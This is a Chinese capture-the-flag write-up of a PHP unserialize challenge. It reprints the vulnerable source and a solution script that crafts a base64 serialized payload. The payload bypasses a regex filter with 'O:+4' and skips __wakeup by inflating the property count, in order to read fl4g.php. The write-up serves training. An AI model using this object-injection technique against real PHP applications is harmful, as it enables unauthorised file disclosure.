高手进阶区，Web_php_unserialize
题目来源：攻防世界
题目直接给出源码：
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
__construct()方法在serialize()才调用，与此题目无关
绕过__wakeup()，绕过正则后调用__destruct()
解题代码，在线运行
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$b = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
echo (base64_encode($b));
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>
